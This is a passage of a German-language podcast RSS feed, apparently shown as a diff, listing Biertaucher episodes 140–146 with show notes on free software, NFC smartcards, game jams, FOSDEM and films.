+</li><li> 0:25:00 Schöner Spenden: <a href="http://www.youtube.com/user/thejuicemedia">Rap-News</a> akzeptiert Spenden u.a. per Bitcoin und Flattr
+</li><li> 0:26:49 Mozilla Badges: <a href="http://openbadges.org/OpenBadges.org"></a>
+</li><li> 0:31:00 freies Lerntool: <a href="http://Oppia.org">Oppia.org</a> praktisch Khan Academy zum selber machen.
+</li><li> 0:36:12 Horst's erste Erfolge mit <a href="http://www.catrobat.org/">Catrobat</a>
+</li><li> 0:37:05 Gregor schaut prähistorische SciFi Filme von 1973: <a href="https://en.wikipedia.org/wiki/Soylent_Green">Soylent Green</a>
+</li><li> 0:41:53 Horst war im Kino: <a href="https://en.wikipedia.org/wiki/47_ronin">47 Ronin</a>
+</li><li> 0:50:12 Graip über kurdischen Abend in der <a href="http://zypresse.at/">Zypresse</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher146.mp3" length="36649967" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnnys NFC-Kartenleser, Haralds OSDomotics Hardware, Gregor kauft HumbleBundle, GameDevCafe Vienna, FSFE-Austria Treffen. Interviews: Linux Fail bei der evangelischen Karlsschule und CoWorking-Space Stockwerk</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/G2VMLn http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:50:51</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 146, Soylent Green, Pocket, Ebook, Ãœberwachung, Firefox OS, Metalab, Pluginblockade, Spritz, Rap-News, OpenBadges, Oppia, Lerntool, Catrobat, 47 Ronin, kurdischer Abend
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 145</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:145</link>
+ <pubDate>Tue, 04 Mar 2014 11:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher145.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:145&amp;title=Biertaucher%20Folge%20145&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/tYuOXO oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/tYuOXO">hier klicken um die Shownotes zur Folge 145</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Johnny ZWENG</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:03:10 Packstationen der Post mit NFC-Schlüssel
+</li><li> 0:09:44 Johnny hat sich NFC-fähige <a href="http://en.wikipedia.org/wiki/Contactless_smart_card">Smartcards</a> gekauft
+</li><li> 0:14:04 erfreuliches vom RIS-Journal: Artikel von <a href="https://github.com/horstjens/RISJournal/tree/master/002/ted">Jörg Bilert übersetzt TED-Talks Untertitel</a>
+</li><li> 0:16:13 Horst war auf einem Wiener <a href="https://www.facebook.com/groups/692815067396437/">GameDevCafe Treffen</a>
+</li><li> 0:18:25 Gregor kauft Humble Bundle (Gina Sisters)
+</li><li> 0:25:25 Johnny versucht an seiner Umgebung Alternativen zu <a href="http://en.wikipedia.org/wiki/WhatsApp">WhatsApp</a>: <a href="https://threema.ch/de/">Threema</a>, <a href="https://play.google.com/store/apps/details?id=info.guardianproject.otr.app.im&hl=de">ChatSecure</a>. Außerdem: <a href="http://de.wikipedia.org/wiki/Snapchat">Snapchat</a>
+</li><li> 0:41:00 Harald bringt neue <a href="http://osdomotics.com">Osdomotics Hardware</a>, Urzeitkrebseheizmattensteuerung
+</li><li> 0:55:19 Horst war am FSFE - Treffen (Free Software Foundation Europe) und hat den <a href="http://files.catrob.at/">Catrob Entwickler</a> kennengelernt (App zum App Programmieren) und
+</li><li> 1:03:36 FSFE-Treffen: Diskussion über Weiterentwicklung der GPL-Lizenz
+</li><li> 1:06:48 FSFE-Treffen Jo Obermayer über Linux Fail in der evang. Karlsschule (siehe Originalton am Ende des Podcasts), siehe auch <a href="http://spielend-programmieren.at/risjournal/001/chemnitz">Kurt Gramlich's Story über Skole-Linux in Rheinland-Pfalz</a> im <a href="http://spielend-programmieren.at/de:ris:001:start">RIS-Journal 001</a>
+</li><li> 1:12:30 Haralds <a href="http://wiki.open-entry.com/doku.php?id=de:sarah-box">OSDomotics Haus-Steuerungen</a> (Use-Case)
+</li><li> 1:30:18 Horst guckt <a href="http://www.britcoms.de/">britische Fernsehserien</a>: <a href="http://www.amazon.de/gp/product/B00CI39SBO/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00CI39SBO&linkCode=as2&tag=spielendprogr-21">Family Tree</a> und <a href="http://en.wikipedia.org/wiki/Uncle_(TV_series)">Uncle</a> mit Nick Helm.
+</li><li> 1:38:30 Wir Biertaucher gruseln uns: Astrologie im technischen Museum
+</li><li> 1:41:41 Podcastempfehlung: <a href="http://bitcoinupdate.com/index.php?id=56">Bitcoin Update Folge 64</a>
+</li><li> 1:42:40 Alexander Salzmann über <a href="http://www.stockwerk.co.at/">Coworkingspace Stockwerk</a>
+</li><li> 1:59:30 FSFE-Aufnahme (gekürzt): Jo Obermaier über Linux Fail an der evangelischen Karlsschule Wien
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher145.mp3" length="98278359" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnnys NFC-Kartenleser, Haralds OSDomotics Hardware, Gregor kauft HumbleBundle, GameDevCafe Vienna, FSFE-Austria Treffen. Interviews: Linux Fail bei der evangelischen Karlsschule und CoWorking-Space Stockwerk</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/tYuOXO http://biertaucher.at
+</itunes:summary>
+<itunes:duration>2:16:27</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 145, Post, NFC, Smartcards, TED, GameDevCafeVie, HumbleBundle, GinaSisters, Threema, ChatSecure, WhatsApp, Snapchat, OSDomotics, UrzeitKrebse, Catrob, GPL, Linux, Schule, Uncle, Britcom, Family Tree, Astrologie
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 144</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:144</link>
+ <pubDate>Fri, 21 Feb 2014 11:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher144.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:144&amp;title=Biertaucher%20Folge%20144&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/3AMIGu oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/3AMIGu">hier klicken um die Shownotes zur Folge 144</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung (von <a href="https://plus.google.com/u/0/+J%C3%B6rgBilert/posts">Jörg Bilert</a>)
+</li><li> 0:02:11 Tech-Meldung: <a href="http://www.heise.de/open/meldung/Mozillas-Chefin-verteidigt-Werbeplaene-fuer-Browser-Firefox-2115431.html?wt_mc=rss.open.beitrag.atom">Mozilla plant Werbung</a>
+</li><li> 0:07:13 Horst freut sich über die <a href="http://www.godotengine.org/wp/">Godot GameDev Engine</a> (frei lizensiert, läuft unter Windows)
+</li><li> 0:09:05 Johnny <a href="https://plus.google.com/100041258817977286971/posts/B52vPMaETUq">baut eine neue App</a>: Visa-Kreditkarten via NFC auslesen
+</li><li> 0:16:00 Tech-Meldung: Gregor ist erfreut über die Ubuntu/Debian Entwicklung: <a href="http://derstandard.at/1389860480104/Ubuntu-verkuendet-Wechsel-auf-Systemd?ref=rss">neuer Bootprozess</a> ohne Streit und Fork
+</li><li> 0:21:25 amerikanisches Podcast-Netzwerk, interessant für Englischlehrer, sucht Freiwillige Mitarbeiter: <a href="http://hackerpublicradio.org/about.php#maincontent">Hacker Public Radio</a>
+</li><li> 0:29:04 Gregor bastelt: <a href="http://beagleboard.org/Products/BeagleBone+Black">Beagle-Bone Black</a>: schwache Grafik, starker Prozessor (im Gegensatz zum RaspberryPi), 512MB Ram, bootfähige Mikro-SB-Karten, Netzanschluss, micro-usb als Internetanschluss, <a href="https://en.wikipedia.org/wiki/%C3%85ngstr%C3%B6m_distribution">Angström-Linux</a>
+</li><li> 0:39:50 Johnny freut sich über: <a href="https://emailprivacytester.com/">Email-Privacy-tester</a>, Github Projekt und Webseite die den Email Client auf Sicherheitslücken überprüft (Outlook verliert immer)
+</li><li> 0:43:40 Stadtpolitik: Bürgerinnenumfragung zur <a href="http://ja-zur-neuen-mahue.at/?gclid=CIq62P_s3LwCFacewwodl18ABw">Mariahilferstraße Verkehrsberuhigung</a>, genauer Text der Befragung, wir rätseln über Fälschungssicherheit
+</li><li> 0:54:16 <a href="http://spielend-programmieren.at">spielend-programmieren</a> bespaßt Kindergeburtstage (gegen Geld, Wien oder Wien Umgebung)
+</li><li> 0:56:36 <a href="http://spielend-programmieren.at">spielend-programmieren</a> im Sommer Kinderkurse ganztags, von 9:00 bis 17:00 (bis jetzt gab's nur Vormittagskurse in den Ferien)
+</li><li> 0:57:58 Schöner Leben: Gregor war am <a href="http://www.protestsongcontest.net/">Protestsongcontest</a> im <a href="http://www.rabenhoftheater.com/">Rabenhof-Theater</a>
+</li><li> 1:04:24 Buch gelesen: <a href="http://www.amazon.de/gp/product/1408704250/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=1408704250&linkCode=as2&tag=spielendprogr-21">The Undercover Economist Strikes Back</a>, hydraulisch analoger Flüssigkeitscomputer, Vorschulbetreuung
+</li><li> 1:19:08 Kino: <a href="http://www.amazon.de/gp/product/B00HUMI5SK/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00HUMI5SK&linkCode=as2&tag=spielendprogr-21">Wolf of Wallstreet</a>
+</li><li> 1:24:03 <a href="http://www.amazon.de/gp/product/B0006SSQ5M/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B0006SSQ5M&linkCode=as2&tag=spielendprogr-21">Logans Run TV-Serie</a>
+</li><li> 1:26:18 Kino-Fan Projekt: <a href="http://vimeo.com/85903713">Our Robocop Remake</a> (wir kommen nicht auf den Namen <a href="https://en.wikipedia.org/wiki/Iron_Sky">Iron Sky</a>, der aus dem <a href="https://en.wikipedia.org/wiki/Star_Wreck:_In_the_Pirkinning">Startrek Fanprojekt</a> hervorgegangen ist
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher144.mp3" length="67438931" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny entwickelt Kreditkarten-App, Gregor war am Protestsongcontest, Horst bespaßt Kindergeburtstage, freut sich über das Robocop-Fanprojekt, war im Kino und muss The Undercover Economist strikes back nochmal lesen</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/3AMIGu http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:33:36</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 144, Wolf_of_Wallstreet, The_Undercover_Economist_Strikes_Back, Godot, Hacker_Public_Radio, Kreditkarten, BeagleBoneBlack, Emailprivacy, Mariahilferstraße, Sommerkurs, Protestsongcontest, Our_Robocop_Remake
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 143</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:143</link>
+ <pubDate>Mon, 17 Feb 2014 15:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher143.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:143&amp;title=Biertaucher%20Folge%20143&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/247HtE oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/247HtE">hier klicken um die Shownotes zur Folge 143</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Florian SCHWEIKERT</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Vorstellung
+</li><li> 0:02:19 Florian kauft (erfolgreich) Regenschutzkleidung
+</li><li> 0:06:31 Johnny über Bitcoin-Neuigkeiten
+</li><li> 0:11:28 Mozilla bringt einen Android-Launcher heraus: Everything me
+</li><li> 0:16:35 Horst hört über "das Aug": Logistiksysteme und Vercyberung von Lagerarbeitern, Paketierung durch Roboter, Untergrundeisenbahn im SMZ Ost
+</li><li> 0:20:59 Werbung: Garip veranstaltet am 1. März 2014 in der Zypresse (Westbahnstraße 35a, 1070 Wien) einen kurdischen Abend
+</li><li> 0:22:00 Autmatische Transportsysteme bei Containerhäfen, <a href="http://www.amazon.de/gp/product/B004NRS7T2/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B004NRS7T2&linkCode=as2&tag=spielendprogr-21">2. Season von "The Wire"</a>, Verblödung durch Navi-Systeme (Digital-Demenz)
+</li><li> 0:26:00 Statistik Austria macht Creative-Commons lizensiertes Open-Data Center
+</li><li> 0:27:00 Johnny hat ein <a href="http://www.amazon.de/gp/product/B00GJG0Q0I/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00GJG0Q0I&linkCode=as2&tag=spielendprogr-21">Moto-G Smartphone</a> von Motorola um 199 Euro gekauft.
+</li><li> 0:30:35 Johnny bekommt eine seltsame Android- Fehlermeldung wegen seiner App: Fehlendes Icon (Fdroid)
+</li><li> 0:35:22 Open Build Service OWS (Florian)
+</li><li> 0:36:48 Florian über sein Jolla Phone und sein Rückblick auf die <a href="https://fosdem.org/2014/">FOSDEM-Konferenz</a> in Brüssel, wo man in Wien belgisches Bier trinken kann.
+</li><li> 0:48:00 Gregor war im Kino: <a href="http://www.amazon.de/gp/product/B002LM3IEA/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B002LM3IEA&linkCode=as2&tag=spielendprogr-21">Che - Revolution, Che - Guerilla</a>, <a href="http://www.amazon.de/gp/product/B005XN7CVO/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B005XN7CVO&linkCode=as2&tag=spielendprogr-21">Contegaon</a>
+</li><li> 0:55:00 Horst war auf <a href="http://subotron.com/">Subotron Vortrag</a> über <a href="http://www.in-ga.me/subotronwkw-pro-games-indies-go-playstation/">Sony und Indie-Games Entwicklung</a>, Sony Vita.
+</li><li> 1:07:40 Sci-Fi von 1976 (!): <a href="http://www.amazon.de/gp/product/B000E5OO62/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B000E5OO62&linkCode=as2&tag=spielendprogr-21">Logan's Run</a>
+</li><li> 1:19:52 Podcastempfehlung: <a href="http://bitcoinupdate.com/index.php?id=54">Bitcoin-Update 62</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher143.mp3" length="57977482" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Florian erzählt von der FOSDEM Konferenz in Brüssel, Horst war auf Sony-IndyGameDev Vortrag, Johnny kauft Moto-G Smartphone, Gregor schaut Logans Run, Che und andere Filme</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/247HtE http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:20:28</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 143, Moto-G, Motorola, Wintersport, Smartphone, Subotron, Sony, Gamedev, Logans Run, Mozilla, Android-Launcher, Cyberaugen, Logistiksysteme, Roboter, Zypresse, The Wire, Digital-Demenz, OpenData, Icon, Launcher
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 142</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:142</link>
+ <pubDate>Thu, 06 Feb 2014 07:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher142.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:142&amp;title=Biertaucher%20Folge%20142&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/WUvUhB oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/WUvUhB">hier klicken um die Shownotes zur Folge 142</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung (Sebastien)
+</li><li> 0:01:00 Worüber wir reden werden
+</li><li> 0:02:07 Harald hat <a href="http://osdomotics.com">OSDomotics</a> Spielzeug mitgebracht (siehe Fotos): Merkurboard
+</li><li> 0:12:09 <a href="http://futurezone.at/netzpolitik/eu-neue-regeln-fuer-musiklizenzen-beschlossen/49.758.135">neue Regelen für Musiklizenzen</a> beschlossen
+</li><li> 0:14:27 Horst baut gewaltigen Mist beim Flugticketkauf und erzählt über die <a href="https://fosdem.org/2014/">FOSDEM Open Source Konferenz</a>, <a href="http://www.dsynbio.com/">Biospiel</a>, <a href="https://fosdem.org/2014/schedule/event/games_made/">Drama Engine</a>, siehe auch <a href="http://spielendprogrammieren.wordpress.com/2014/02/03/fosdem-2014-brussel/">Horst's Blogposting</a>, und die Interviews im Anschluss über <a href="http://boards.openpandora.org/page/homepage.html">OpenPandora</a>, Wikipedia Lobby-Arbeit, Open Source Science.
+</li><li> 0:26:15 <a href="https://www.olimex.com/Products/OLinuXino/iMX233/">Olimex</a> Mini-Linux Rechner, Raspberry Pi kompatibel (siehe Foto)
+</li><li> 0:34:17 Horst erzählt weiter aus der Fosdem (siehe auch <a href="http://spielendprogrammieren.wordpress.com/2014/02/03/fosdem-2014-brussel/">Horst's Blogposting</a>)
+</li><li> 0:37:36 Podcastempfehlung: <a href="http://bitcoinupdate.com/index.php?id=53">Bitcoin-Update 61</a>
+</li><li> 0:38:24 Interview mit Michael, Chef von <a href="http://www.openpandora.org">OpenPandora</a>, über die Mini-Linuxcomputer Openpandora sowie den Nachfolger Pyra mit langer Akkulaufzeit.
+</li><li> 0:59:49 Interview mit Dimi, ehemaligem "nur" Wikipedianer für die bulgarische Wikipedia und mittlerweile für Wikimedia arbeitender Lobbyst in Brüssel. <a href="http://www.osgs.at/organisationen/wikimedia-%C3%B6sterreich-gesellschaft-zur-f%C3%B6rderung-freien-wissens">Verein zur Förderung des freien Wissens Österreich</a>, <a href="http://youcan.fixcopyright.eu/">You can fix copyright.eu</a>
+</li><li> 1:27:19 Interview mit Sebastien (auf englisch) über cognitive science, Verlust von Zitatwörtern in Blogs, open source in science und scientific journal publishing.
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher142.mp3" length="98309306" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Harald zeigt Raspberry Pi - ähnliche Boards und 6LoWPAN Boards für den Raspberry Pi, Gregor hört Nachrichten und Horst hört nicht mehr auf von der Fosdem in Brüssel zu erzählen…</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/WUvUhB http://biertaucher.at
+</itunes:summary>
+<itunes:duration>2:16:29</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 142, RaspberryPi, Urheberrecht, Merkurboard, OSDomotics, Fosdem, Konferenz, Brüssel, Open Source, Pandora, Python, Drama Engine, Science, Journale, Interviews, Wikipedia, Lobbyarbeit, Olimex
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 141</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:141</link>
+ <pubDate>Thu, 30 Jan 2014 23:55:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher141.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:141&amp;title=Biertaucher%20Folge%20141&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/jT5Ezg oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/jT5Ezg">hier klicken um die Shownotes zur Folge 141</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:33 was wir erlebt haben: FM4 Festival, Youtube Skandal, Vienna Pub Summit (Startups), Austria Game Jams, Youtube, Fairphone
+</li><li> 0:02:00 Bestechliche Youtuber berichten wohlwollend über Game-Konsolen, <a href="http://derstandard.at/1389857860800/Lets-Pay-Kann-man-Youtubern-vertrauen">Schleichwerbung</a>
+</li><li> 0:06:30 Horst war beim <a href="http://inventures.eu/tag/pub-summit-vienna">Vienna Pub Summit</a> und hat sich Pitches von Junginvestoren angehörten
+</li><li> 0:09:55 Horst erlebt einen Google+ Email-Werbungs Fail
+</li><li> 0:11:39 <a href="http://derstandard.at/1389857640529/Fairphone-im-Test--Nur-kleiner-Anteil-ist-wirklich-fair">Fairphone</a> wird kritisiert, <a href="http://not-safe-for-work.de/">Not safe for Work Podcast</a> spricht drüber
+</li><li> 0:15:06 Horst guckt Youtube: <a href="http://www.youtube.com/watch?v=7AHfj0uDrf0">Mario Warfare</a>
+</li><li> 0:20:40 Gregor war in der Ottakringer Brauerei beim <a href="http://fm4.orf.at/geburtstagsfest2014">FM4 Festival</a>, hört u.a. <a href="http://www.fettesbrot.de/fb/">fettes Brot</a>
+</li><li> 0:26:44 <a href="http://videogametourism.at/node/1921">nette Replik</a> zum Spiegel Titel: Computerspielen macht klug
+</li><li> 0:28:14 Horst war auf der Austria Game Jam 2014 <a href="http://spielendprogrammieren.wordpress.com/2014/01/26/austria-game-jam-2014/">Horst's Blogposting</a>, <a href="http://flic.kr/s/aHsjRimuWX">Fotos auf Flickr</a>, Christian Feldbacher's <a href="http://v-play.net/">V-Play Engine</a> für GameJammer
+</li><li> 0:39:09 <a href="http://spielend-programmieren.at/biertaucherfiles/20140126-austriagamejam2014-angelika_(organisator).mp3">Angelika Musil, Austria Game Jam Organisatorin</a>
+</li><li> 0:45:25 <a href="http://spielend-programmieren.at/biertaucherfiles/20140126-austriagamejam2014-laura_(englisch).mp3">Laura Gaetano, programmiert ihr erstes Spiel</a> (englisch)
+</li><li> 0:55:35 <a href="http://spielend-programmieren.at/biertaucherfiles/20140126-austriagamejam2014-manfred_(oculus_rift).mp3">Manfred, hat erstmals mit Oculus Rift und Virtual Room gearbeitet</a>
+</li><li> 0:59:58 <a href="http://spielend-programmieren.at/biertaucherfiles/20140126-austriagamejam2014-richard_(16jahre_serial_gamejammer).mp3">Richard, 16-jähriger serial Game Jammer</a>: Global Game Jam, Ludum Dare, Fuck this Jam, Seasonal Jamweek richard@blechi.com
+</li><li> 1:05:40 <a href="http://spielend-programmieren.at/biertaucherfiles/20140126-austriagamejam2014-vincent_(soundeffekte).mp3">Vincent, Sound-Effekte erzeugender Jurist</a>
+</li><li> 1:13:55 <a href="http://spielend-programmieren.at/biertaucherfiles/20140126-austriagamejam2014-andranik_(videogamesammler).mp3">Andranik, sammelt alte Automaten und Videospielen</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher141.mp3" length="74167865" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor war am FM4 Festival, Horst war auf der Austria Game Jam, hat dort Interviews gemacht und auf Youtube Mario Warfare geguckt.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/jT5Ezg http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:42:57</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 141, FM4, Austria Game Jam, GameJam, AGJ14, GGJ14, Mario Warfare, Youtube
+</itunes:keywords>
+</item>
+
+<item>
+ <title>Biertaucher Folge 140</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:140</link>
+ <pubDate>Wed, 22 Jan 2014 14:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher140.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:140&amp;title=Biertaucher%20Folge%20140&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/lFwih2 oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/lFwih2">hier klicken um die Shownotes zur Folge 140</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:39 Was wir erlebt haben / worüber wir reden werden
+</li><li> 0:01:35 Technik-Meldung: <a href="http://www.zdnet.de/88180829/nsa-affaere-mozilla-will-quellcode-seines-browsers-firefox-zertifizieren/">Mozilla plant ständige Source-Code überprüfung</a>
+</li><li> 0:04:31 Horst scheitert daran bei Thalia ein englisches E-book zu kaufen, Gregor warnt vor geschütztes Epub Format
+</li><li> 0:07:59 angelesen: <a href="http://www.amazon.de/gp/product/1408704250/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=1408704250&linkCode=as2&tag=spielendprogr-21">Tim Harford - The undercover Economy strikes back</a>, pazifische Insel mit <a href="https://en.wikipedia.org/wiki/Stone_money">Steingeld</a>
+</li><li> 0:15:38 schöner Leben: Gregor hat <a href="http://youtu.be/ztasskFNOac">Venus im Pelz</a> im Kino gesehen
+</li><li> 0:19:35 Comic: <a href="http://www.amazon.de/gp/product/345538126X/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=345538126X&linkCode=as2&tag=spielendprogr-21">Steve's Welt</a> über das Leben und Philosophie von Steve Job
+</li><li> 0:25:00 Kino: Jim Jarmus Vampirfilm: <a href="http://www.amazon.de/gp/product/B00HW2XJQQ/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00HW2XJQQ&linkCode=as2&tag=spielendprogr-21">Only Lovers left alive</a>
+</li><li> 0:30:41 <a href="http://www.youtube.com/channel/UCSPfDxsrvTvIz1XmkTd5fww">Biertaucher-Podcast Youtube Channel</a>: Playlist für jede Biertaucher-Folge
+</li><li> 0:32:00 Interview am <a href="http://www.pyladies.com/">Pyladies</a> Treffen: geplantes Design-Open-Source Projekt: <a href="http://open-karma.com/">OpenKarma</a>
